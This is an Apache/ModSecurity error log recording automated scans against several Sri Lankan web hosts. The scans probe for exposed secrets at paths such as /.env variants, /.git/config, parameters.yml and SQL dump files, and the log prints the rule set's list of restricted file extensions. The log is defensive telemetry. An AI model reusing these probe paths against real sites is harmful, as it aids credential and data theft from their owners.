[Fri Jul 17 08:28:19.014514 2026] [security2:error] [pid 2014308:tid 2014308] [client 18.208.204.157:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaSwdFk8dCrY-oJNkdDQAAACA"]
[Fri Jul 17 08:28:19.014757 2026] [security2:error] [pid 2014308:tid 2014308] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaSwdFk8dCrY-oJNkdDQAAACA"]
[Fri Jul 17 08:28:19.015021 2026] [security2:error] [pid 2014308:tid 2014308] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaSwdFk8dCrY-oJNkdDQAAACA"]
[Fri Jul 17 08:28:19.016421 2026] [security2:error] [pid 1993998:tid 1993998] [client 32.198.65.184:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env"] [unique_id "almaS2idQp3SsqeycPEsvAAAAAo"]
[Fri Jul 17 08:28:19.016696 2026] [security2:error] [pid 1993998:tid 1993998] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env"] [unique_id "almaS2idQp3SsqeycPEsvAAAAAo"]
[Fri Jul 17 08:28:19.080237 2026] [security2:error] [pid 1993668:tid 1993668] [client 32.198.65.184:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaSxAi3pC6yjXGNq19UwAAAAU"]
[Fri Jul 17 08:28:19.080505 2026] [security2:error] [pid 1993668:tid 1993668] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaSxAi3pC6yjXGNq19UwAAAAU"]
[Fri Jul 17 08:28:19.234699 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.198.65.184:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.jrdcback.jrdc.lk"] [uri "/backup.sql"] [unique_id "almaS3RlmrtCoY_COpcimQAAAAg"]
[Fri Jul 17 08:28:19.235106 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/backup.sql"] [unique_id "almaS3RlmrtCoY_COpcimQAAAAg"]
[Fri Jul 17 08:28:19.349253 2026] [security2:error] [pid 1994967:tid 1994967] [client 32.198.65.184:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.jrdcback.jrdc.lk"] [uri "/database.sql"] [unique_id "almaS0hq6UAnqYko0LpXRwAAABE"]
[Fri Jul 17 08:28:19.349854 2026] [security2:error] [pid 1994967:tid 1994967] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/database.sql"] [unique_id "almaS0hq6UAnqYko0LpXRwAAABE"]
[Fri Jul 17 08:28:19.503699 2026] [security2:error] [pid 1993573:tid 1993573] [client 32.198.65.184:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env.production"] [unique_id "almaS3t8zp89pALg8Q5lDAAAAA4"]
[Fri Jul 17 08:28:19.503973 2026] [security2:error] [pid 1993573:tid 1993573] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env.production"] [unique_id "almaS3t8zp89pALg8Q5lDAAAAA4"]
[Fri Jul 17 08:28:19.621010 2026] [security2:error] [pid 1993659:tid 1993659] [client 18.208.204.157:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaS5OFLENLI63GGOEKVgAAAAQ"]
[Fri Jul 17 08:28:19.621290 2026] [security2:error] [pid 1993659:tid 1993659] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaS5OFLENLI63GGOEKVgAAAAQ"]
[Fri Jul 17 08:28:19.621616 2026] [security2:error] [pid 1993659:tid 1993659] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaS5OFLENLI63GGOEKVgAAAAQ"]
[Fri Jul 17 08:28:20.150346 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:28:20.164279 2026] [security2:error] [pid 2014256:tid 2014256] [client 13.221.94.119:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaTIZvbo7N5o5zeYC65AAAABw"]
[Fri Jul 17 08:28:20.193295 2026] [security2:error] [pid 2014256:tid 2014256] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaTIZvbo7N5o5zeYC65AAAABw"]
[Fri Jul 17 08:28:20.193661 2026] [security2:error] [pid 2014256:tid 2014256] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaTIZvbo7N5o5zeYC65AAAABw"]
[Fri Jul 17 08:28:20.243815 2026] [security2:error] [pid 2014321:tid 2014321] [client 32.198.65.184:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.jrdcback.jrdc.lk"] [uri "/data.sql"] [unique_id "almaTNbqW6u97-NXXfOr0AAAACE"]
[Fri Jul 17 08:28:20.244227 2026] [security2:error] [pid 2014321:tid 2014321] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/data.sql"] [unique_id "almaTNbqW6u97-NXXfOr0AAAACE"]
[Fri Jul 17 08:28:20.244379 2026] [hostinglimits:warn] [pid 2014321:tid 2014321] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(2014321) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:20.244557 2026] [security2:error] [pid 2014321:tid 2014321] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/index.php"] [unique_id "almaTNbqW6u97-NXXfOr0AAAACE"]
[Fri Jul 17 08:28:20.334921 2026] [security2:error] [pid 1993659:tid 1993659] [client 32.198.65.184:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.jrdcback.jrdc.lk"] [uri "/dump.sql"] [unique_id "almaTJOFLENLI63GGOEKVwAAAAQ"]
[Fri Jul 17 08:28:20.335306 2026] [security2:error] [pid 1993659:tid 1993659] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/dump.sql"] [unique_id "almaTJOFLENLI63GGOEKVwAAAAQ"]
[Fri Jul 17 08:28:20.335415 2026] [hostinglimits:warn] [pid 1993659:tid 1993659] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(1993659) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:20.335562 2026] [security2:error] [pid 1993659:tid 1993659] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/index.php"] [unique_id "almaTJOFLENLI63GGOEKVwAAAAQ"]
[Fri Jul 17 08:28:20.484851 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:20.485129 2026] [security2:error] [pid 1993572:tid 1993572] [client 32.198.65.184:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/jrdclk-global": Permission denied [hostname "www.jrdcback.jrdc.lk"] [uri "/index.php"] [unique_id "almaTIl9vhFBGA6D8l92XwAAAAw"]
[Fri Jul 17 08:28:20.485154 2026] [security2:error] [pid 1993572:tid 1993572] [client 32.198.65.184:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/jrdclk-ip": Permission denied [hostname "www.jrdcback.jrdc.lk"] [uri "/index.php"] [unique_id "almaTIl9vhFBGA6D8l92XwAAAAw"]
[Fri Jul 17 08:28:20.858435 2026] [security2:error] [pid 2013797:tid 2013797] [client 18.208.204.157:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaTFh1WDijTxd1xw5I8gAAAAc"]
[Fri Jul 17 08:28:20.858866 2026] [security2:error] [pid 2013797:tid 2013797] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaTFh1WDijTxd1xw5I8gAAAAc"]
[Fri Jul 17 08:28:20.859139 2026] [security2:error] [pid 2013797:tid 2013797] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaTFh1WDijTxd1xw5I8gAAAAc"]
[Fri Jul 17 08:28:20.859195 2026] [security2:error] [pid 2013797:tid 2013797] [client 18.208.204.157:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "www.beneficiary.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaTFh1WDijTxd1xw5I8gAAAAc"]
[Fri Jul 17 08:28:20.859207 2026] [security2:error] [pid 2013797:tid 2013797] [client 18.208.204.157:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "www.beneficiary.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaTFh1WDijTxd1xw5I8gAAAAc"]
[Fri Jul 17 08:28:20.900948 2026] [security2:error] [pid 2014256:tid 2014256] [client 13.221.94.119:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaTIZvbo7N5o5zeYC65QAAABw"]
[Fri Jul 17 08:28:20.901262 2026] [security2:error] [pid 2014256:tid 2014256] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaTIZvbo7N5o5zeYC65QAAABw"]
[Fri Jul 17 08:28:20.901556 2026] [security2:error] [pid 2014256:tid 2014256] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaTIZvbo7N5o5zeYC65QAAABw"]
[Fri Jul 17 08:28:21.063519 2026] [security2:error] [pid 1993659:tid 1993659] [client 32.198.65.184:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.git/config"] [unique_id "almaTZOFLENLI63GGOEKWAAAAAQ"]
[Fri Jul 17 08:28:21.063747 2026] [security2:error] [pid 1993659:tid 1993659] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.git/config"] [unique_id "almaTZOFLENLI63GGOEKWAAAAAQ"]
